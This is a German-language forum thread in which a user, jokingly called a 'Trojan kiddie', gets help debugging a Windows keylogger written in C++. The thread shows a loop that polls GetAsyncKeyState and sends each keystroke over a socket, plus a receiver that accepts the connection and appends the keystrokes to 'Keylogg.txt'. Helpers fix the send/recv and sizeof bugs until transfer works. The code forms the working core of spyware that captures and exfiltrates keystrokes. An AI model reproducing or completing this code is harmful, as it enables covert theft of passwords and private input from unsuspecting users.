Zeichen über Socket versenden klappt nicht
-
Trojaner-Kiddy
-
recv(skey, buf, strlen(buf), 0);
-
trojaner kiddi? ich hab nix schlechtes vor.
was stimmt den mit der Zeile nicht?
-
nimm sizeof statt strlen
-
habs probiert, aber in der textdatei steht nach wie vor immer das gleiche falsche zeichen
-
while(1) { Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { Beep(2000, 200); TempString = GetKey (i); send(skey, TempString.c_str(), sizeof(TempString.c_str()) , 0); } } }
hier liegt der Fehler. Es Beept dauernt, das heißt obwohl ich nix auf der Tastatur eingebe, sendet es. wo liegt denn da der Fehler?
-
Beim empfangen gibts Probleme. Hier eine korrigierte (unvollständige) Version:
while(1) { int numOfRecvdBytes = recv(skey, buf, strlen(buf), 0); std::fstream FStream; FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app); FStream.write(buf, numOfRecvdBytes); FStream.close(); }
Checke ausserdem noch numOfRecvdBytes für Fehlerwerte (0 bzw. SOCKET_ERROR).
Lies dazu die Doku: http://msdn.microsoft.com/en-us/library/ms740121.aspxstrlen geht NUR bei null terminierten character arrays.
Ev. sind noch mehr dinge im argen.. hab nicht so genau geguckt.
Simon
-
Hier gibts auch Probleme:
sizeof(TempString.c_str()) gibt die Grösse des Pointer zurück, das ist 4.TempString = GetKey (i); send(skey, TempString.c_str(), TempString.size() + 1 , 0);
Simon
-
danke, also jetzt sieht es so aus:
while(1) { Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = GetKey (i); send(skey, TempString.c_str(), TempString.size() + 1, 0); } } }
while(1) { int numOfRecvdBytes = recv(skey, buf, sizeof(buf), 0); std::fstream FStream; FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app); FStream.write(buf, numOfRecvdBytes); FStream.close(); }
Jetzt enthält die Textdatei aber keine zeichen? Also kein einziges.
send scheint zu klappen
-
Also kein einziges.
send scheint zu klappenDenkst Du. Dann teste es. send gibt auch einen Return wert, und wenn ein Fehler auftritt kannst Du WSAGetLastError(..) benutzten um Details zu erhalten.
Simon
-
10057 gibt Recv zurück also Error
-
send gibt nicht socket_error zurück
-
Der Socket ist anscheinend nicht verbunden.
-
Danke, dass Du das hier postest, aber wie wäre es, wenn Du denn Error Code selbst nachguckst? Es gibt sogar das Error Lookup Tool vom MS.
Simon
-
danke, es geht jetzt alles bis auf einen fehler:
in der textausgabe kommt sowas: (also zu viele leerzeichen:)
w a s g e h tconnectedSocket = accept(skey,NULL,NULL); while(1) { int numOfRecvdBytes = recv(connectedSocket, buf, sizeof(buf), 0); std::fstream FStream; FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app); FStream.write(buf, numOfRecvdBytes); FStream.close(); }
-
TempString.size() + 1
vielleicht muss das +1 weg?